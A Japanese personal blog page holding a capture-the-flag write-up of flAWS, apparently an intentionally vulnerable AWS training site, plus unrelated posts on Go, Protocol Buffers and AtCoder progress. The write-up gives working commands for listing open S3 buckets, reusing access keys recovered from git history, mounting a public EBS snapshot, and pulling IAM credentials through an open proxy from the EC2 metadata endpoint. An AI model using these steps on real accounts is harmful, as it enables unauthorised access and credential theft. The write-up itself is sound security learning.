shinobe179の日記

パケットの気持ちになって考えるのはもうやめだ

【flAWS】Writeup

概要

先日から取り組み始めたflAWS、ひとつの記事にWriteupをまとめていくことにした。

Level 1

以下の記事の通り。

befs-anne.hatenablog.com

  • 教訓
    • S3は作られた直後の状態が最もセキュア
    • パーミッションの「everyone」は「everyone on the Internet」という意味
    • 静的ウェブサイトの公開手段と混同しないよう気をつける

Level 2

「The next level is fairly similar, with a slight twist.」って書いてあったけど、 Level 1と同じ手法で次のレベルのリンクが出てきた。Level 1では「everyone」にList権限を与えたが、Level 2では「Any Authenticated AWS User」にListの許可を与えため、自前のAWSアカウントが必要だったということみたい。Level 1に取り組む前からAWSCLIにはプロファイルを設定してあったので、実質違いはなかった。

  • 教訓
    • 「Any Authenticated AWS User」も同じく注意

Level 3

aws s3 ls すると.gitディレクトリがある。aws s3 syncでローカルに落としてきてgit logでコミット履歴を見ると、以下の通りやらかしてる感じのコミットが。

$ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

git reset --hard f52ec03b227ea6094b04e43f475fb0126edb5a61でfirst commitまで戻ると、access_keys.txtといういかにもがファイルが復元。中身はAWSのシークレットキーとアクセスキーIDが書かれていた。

以下を参考に~/.aws/config~/.aws/credentialにflawsプロファイルを作った。

qiita.com

ここから動きに迷ってしまって、.git内のオブジェクトをzlibで解凍して中身を見たりするなかでhintを見てしまい、flawsプロファイルを指定しかつバケットのパスを指定せずにaws s3 lsコマンドを実行すると、指定したプロファイル(:=AWSアカウント)が持つバケットの一覧が見れることを思い出す。案の定、次レベルのFQDNが判明した。

$ aws --profile flaws s3 ls
2017-02-13 06:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-30 01:34:53 config-bucket-975426262029
2017-02-13 05:03:24 flaws-logs
2017-02-05 12:40:07 flaws.cloud
2017-02-24 10:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-27 03:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-27 04:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-27 04:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-27 05:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
  • 教訓
    • クレデンシャルが流出したら速やかに無効にして、新しいクレデンシャルを作り直す
    • S3バケットは特定のバケットのみをリストさせることができない
      • …って書いてあったと思うけど、そうだっけ?
      • s3 lsバケット一覧を見せた時に、特定のバケットだけを隠すことができない、ということかな(これも正否は不明)?

Level 4

EC2上で稼働するNginxのベーシック認証を破って、Level 5へのリンクがあるページを見たい。「It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.」というヒントが既に出ており、Level 3で取得したクレデンシャルを使ってaws --profile flaws ec2 describe-snapshotsでスナップショットの一覧を確認すると、「Name: flaws backup 2017.02.27」というタグがついたスナップショットがある。ここからどうにかしてスナップショットの中身を見たいのだが、自力ではここでお手上げ。

ヒントを見ると、まずはaws sts get-caller-identityAWSアカウントIDを確認してみようとのこと。

dev.classmethod.jp

結果は以下。

$ aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

ユーザー名の通り、前述のスナップショットもこのアカウントで取得しているのだろうという見立てのもと、アカウントIDを条件にしてaws ec2 describe-snapshotsを実行すると、やはり先ほどのタグがついたスナップショットが出てきた。

$ aws --profile flaws  ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12.000Z",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ]
        }
    ]
}

以下を参照すると、スナップショットを公開するにはcreateVolumePermission属性のGroupをallに設定する必要があるらしい。

docs.aws.amazon.com

aws ec2 describe-snapshot-attributeで確認すると、そのようになっていた。

$ aws --profile flaws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --region us-west-2
{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

自分のアカウントにこのスナップショットをコピーできるということが分かったので、aws ec2 create-volumeをsnapshot-idを指定して実行する。

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

自分のアカウントで、このボリュームを持ったEC2を立てる(GUIで実施)。最初からマウントしているわけではないので、EC2にログインして自分でマウントする。

$ lsblk
NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk 
└─xvda1 202:1    0   8G  0 part /
xvdb    202:16   0   8G  0 disk 
└─xvdb1 202:17   0   8G  0 part 

$ sudo mkdir /mnt/xvdb1
$ sudo mount /dev/xvdb1 /mnt/xvdb1

/etc/nginxの中を見ると、.htpasswdファイルが。

$ cat .htpasswd 
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0

.htpasswdの存在は知っていたものの、中身を見るのは初めて。平文を知るためにソルト付きMD5の復号とかアホみたいなこと調べたりしつつお手上げ。ヒントを見ると、マウントしたボリューム内の/home/ubuntuディレクトリに、平文のパスワードを引数にhtpasswdコマンドを実行するシェルスクリプトがあることが発覚。んなアホな……。

  • 教訓
    • バックアップの共有範囲に注意する。
    • 稼働しているEC2自体はセキュアでも、そのスナップショットを作成し攻撃者の環境で起動されたら中身を見られてしまう。
    • find {ディレクトリ} -mtime -{日数}で更新されたファイルが分かる。
      • /var/*などの頻繁に更新が行われるディレクトリは適宜grep -vなどでフィルタする。
    • 当たりをつけるのは大事だけど、とりあえず全探索してみる

Level 5

HTTPプロキシとして稼働するEC2を利用して、Level 6のコンテンツが格納されているディレクトリ(これもS3にホストしているので、S3的にはキーと呼ぶのが適切か?)を探す問題。

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254にアクセスするとこのEC2のインスタンスデータが丸見えになっていて、階層を降りていってhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flawsまで来ると、アクセスキーID、シークレットアクセスキー、トークンが確認できる。

これをawscliのクレデンシャルに設定して悪さをすることはこれまでの課題から想像できるが、今回はこれらに加えてトークンもaws_access_tokenとして設定する必要がある。

Level 5の課題からLevel6のバケット名は分かっているので、新しいプロファイルでaws s3 lsすれば中身が見える。

$ aws --profile flaws2 s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-27 11:11:07        871 index.html

一応、今回のクレデンシャルでのsts get-caller-identity

$ aws --profile flaws2 sts get-caller-identity
{
    "UserId": "AROAI3DXO3QJ4JAWIIQ5S:i-05bef8a081f307783",
    "Account": "975426262029",
    "Arn": "arn:aws:sts::975426262029:assumed-role/flaws/i-05bef8a081f307783"
}

【flAWS】Level 1 S3 backet

概要

AWS の勉強がてら 「 flAWS 」をやっていこうと思う。レベルいくつまであるんだろ?

flaws.cloud

writeup

Level 1 は S3 の問題。「 flaws.cloud 」を dig して帰ってきた IP アドレスを逆引きすると、 flAWS が us-west-2 リージョンの S3 の静的サイトホスティング機能を使って稼働していることが分かる。

$ dig flaws.cloud

; <<>> DiG 9.10.3-P4-Ubuntu <<>> flaws.cloud
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9027
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;flaws.cloud.           IN  A

;; ANSWER SECTION:
flaws.cloud.        4   IN  A   52.218.245.99

;; Query time: 50 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Nov 07 23:31:30 JST 2019
;; MSG SIZE  rcvd: 56

$ host 52.218.245.99
99.245.218.52.in-addr.arpa domain name pointer s3-website-us-west-2.amazonaws.com.

S3 で静的サイトホスティングする場合、バケット名はそのサイトの FQDN と同一でなければならないので、 バケット名が flaws.cloud であることが分かる。おもむろに aws コマンドで s3 ls してみると、secret-dd02c7c.html というファイルが。

$ aws s3 ls s3://flaws.cloud/ --region us-west-2
2017-03-14 12:00:38       2575 hint1.html
2017-03-03 13:05:17       1707 hint2.html
2017-03-03 13:05:11       1101 hint3.html
2018-07-11 01:47:16       3082 index.html
2018-07-11 01:47:16      15979 logo.png
2017-02-27 10:59:28         46 robots.txt
2017-02-27 10:59:30       1051 secret-dd02c7c.html

flaws.cloud/secret-dd02c7c.html にアクセスしてみると、 Level 2 への扉が開かれる。余談だが、自身のドメインを持っていなかったとしても、 S3 の静的サイトホスティングを設定した段階で、 flAWS の場合だと http://flaws.cloud.s3-website-us-west-2.amazonaws.com/ というドメインが与えられ、ここからもアクセスできる。

今年の夏季休暇は『Goプログラミング実践入門』の写経に取り組んだ(実施中)

概要

タイトルの通り、『Goプログラミング実践入門』の写経に取り組んでいます。この記事を書いている時点で第4章の最中です。

book.impress.co.jp github.com

動機

AtCoderを通してPythonの文法がある程度分かってきたので、今度はコンパイル言語を習得しようと思いました。Goはクロスコンパイルの容易さという点でメリットがある「らしい」(よく知らない)のと、現職でも使う可能性があるという点で選択しました。

コンパイル言語そのものははじめてというわけではなく、以前『スッキリ分かるC言語入門』の写経に取り組んだ経験があります。実務での開発経験はなく、トラブルシュートなどの際にソースコードを読む時の一助になっている程度です。

book.impress.co.jp github.com

Rustも気になっていますが、仕事で使う機会がないので見送りました。以下の本は買いました。

booth.pm

そもそも、低レイヤー技術が私が忌み嫌うハードウェアと切っても切れない縁で結ばれている(というか低レイヤーという言葉自体がハードウェアを多分に含む)ということもあって、基本的には低レイヤーへの興味は自分の趣味と割り切って、「自分も興味があって、かつ仕事にも役立てられる」技術の習得を優先しようというのが目下の方針です。

この本を選んだ理由

新しい言語を学習するとき、私に一番合っているのは「文法の説明をしつつサンプルコードを組み合わせるといつの間にかプロダクトっぽくなっている」本です。文法の説明に終始しているものだと、どういう時に使うのかがイメージできないので、プロダクトの開発過程を辿って各過程において必要な文法やパッケージの説明があると分かりやすいのです。書店でGo関連の書籍にざっと目を通したところ、それに一番近いのが同書でした。既に経験のあるネットワーク分野(HTTPサーバー)を題材のひとつとして取り上げているのも、とっつきやすそうだと感じました。

実際どう?

まだ途中ですが、正解だったと思っています。各文法の細かな説明は行われていないので、別途文法書やチュートリアルで補強したほうがいいなと感じています。前提としてHTTPの理解が多少あることや、C言語入門をやっておいたのもよかったです。

今後

この本の写経はもちろん続けるとして、よりよい環境を求めて「モダンな開発環境」を意識してスキルを身につけていこうと思います。

Protocol Buffersのことを調べてだいたい分かった気になった人のメモ

はじめに

Protocol Buffers(ProtoBuf)という技術があるらしいということを最近知った。データの送受信に関係する技術らしいし、プロトコルなんて言われたらネットワーク屋(やめるけど)として知ってなきゃならないかなと思ってちょっとだけ調べたのでまとめておく。ProtoBufについて本気で調べたくてこの記事に辿り着いた方のことを思うと、本当に申し訳ない。

ProtoBuf is 何

よそではデータシリアライザとかって言葉で紹介されている。シリアライザって言われてもピンと来なかったんだけど、あるフォーマットに基づいたデータを効率よくやりとりするための技術と解釈した。gRPCで使われている。

データフォーマット(スキーマ)の定義 - データの送受信のためのシリアライズ、デシリアライズ

チュートリアル

protocのビルド、インストール

protocコマンドをインストールする。結構時間がかかる。protocコマンドは、後で作るスキーマ定義ファイルから各言語向けのライブラリを生成できる。

$ wget https://github.com/protocolbuffers/protobuf/releases/download/v3.7.1/protobuf-python-3.7.1.tar.gz
$ tar xvzf protobuf-python-3.7.1.tar.gz
$ cd protobuf-3.7.1
$ ./configure
$ make
$ make check
$ sudo make install
$ sudo ldconfig

.protoファイルの作成

やりとりするデータのスキーマ(:=プロトコル)を定義する。文法はよく分ってないけど、フィールドの名前と、ユニークなIDを定義すれば最低限いいっぽい。

$ cat protobuf_chat.proto 
syntax = "proto3";

message Chat {
  string name = 1;
  string content = 2;
  string ps = 3;
}

Python用ライブラリの生成

さっきビルドしたprotocコマンドで、Python用のライブラリを生成する。

$ protoc --python_out ./ protobuf_chat.proto

あとは生成されたライブラリをロードして、データをやりとりするコードを書けばよい。Pythonでは追加で以下のライブラリが必要だった。

$ pip install protobuf
$ pip install google-api-python-client

だいたいの使い方

.protoファイルで定義した通りの構造体+シリアライズ、デシリアライズのためのメソッドがある、という感じ。

# インポート
>>> import protobuf_chat_pb2

# Chatインスタンスを作り、スキーマに沿ってデータを入力
>>> chat = protobuf_chat_pb2.Chat()
>>> chat.name = 'Alice'
>>> chat.content = 'I am Alice.'

# シリアライズ
>>> chat.SerializeToString()
b'\n\x05Alice\x12\x0bI am Alice.'

# Chatインスタンスを作って、シリアライズされた文字列をパースしてインスタンスにデータをロードする
>>> peer = protobuf_chat_pb2.Chat()
>>> peer.ParseFromString(b'\n\x05Alice\x12\x0bI am Alice.')
20
>>> peer.content
'I am Alice.'
>>> 

作ったもの

名前だけで食いついたものの、分散システム作ったりとかしてないので、とりあえずsocketと組み合わせて簡易なチャットを作って供養した。

github.com

送信側は文字列をProtoBufでシリアライズして送信し、受信側ではデシリアライズして表示する。文字列がどのようにシリアライズされているのか分かるようにした。

$ python protobuf_chat_server.py Alice
[*] Ready to listen.
[*] Connected by 127.0.0.1:42670.
Server> I am Alice
raw send data: b'\n\x05Alice\x12\nI am Alice'
raw recieve data: b'\n\x03Bob\x12\x08I am bob'
Client> I am bob
Server> Hello
raw send data: b'\n\x05Alice\x12\x05Hello'
raw recieve data: b'\n\x03Bob\x12\x03bye'
[*] Bye.

こうしてみると、シリアライズされた文字列は可読性が低いものの、圧縮されているので、JSONとかをそのまま送るのと比べて転送効率がいいんだろうな。内部通信向けとも紹介されていたので、そういうことだろう。

参考

ProtoBuf

www.slideshare.net

tech-blog.tsukaby.com

qiita.com

qiita.com

socket

algorithm.joho.info

2019年GW進捗(7日目: 2019/05/03)

概要

昨日の進捗です。ご査収ください。

AtCoder

  • 精進
    • ABC
      • B: 22問

所感

がっつり時間がとれたので、怒涛の22問AC。老番からやっていってとうとうテストケースが公開されてない領域まで来たんだけど、このへんは難易度のバラつきが大きい気がする。

明日の目標

  • AtCoder
    • 精進
      • ABC
        • B: 8問
        • C: 1問
  • CTF
    • SECCON 令和CTFのWriteUp見る

2019年GW進捗(6日目: 2019/05/02)

概要

昨日の進捗です。ご査収ください。

AtCoder

  • 精進
    • ABC
      • B: 9問

所感

先日受験した某検定試験、受かっててよかった。令和CTF、WriteUpが大量に公開されててありがたい。

明日の目標

  • AtCoder
    • 精進
      • ABC
        • B: 8問
        • C: 1問
  • CTF
    • SECCON 令和CTFのWriteUp見る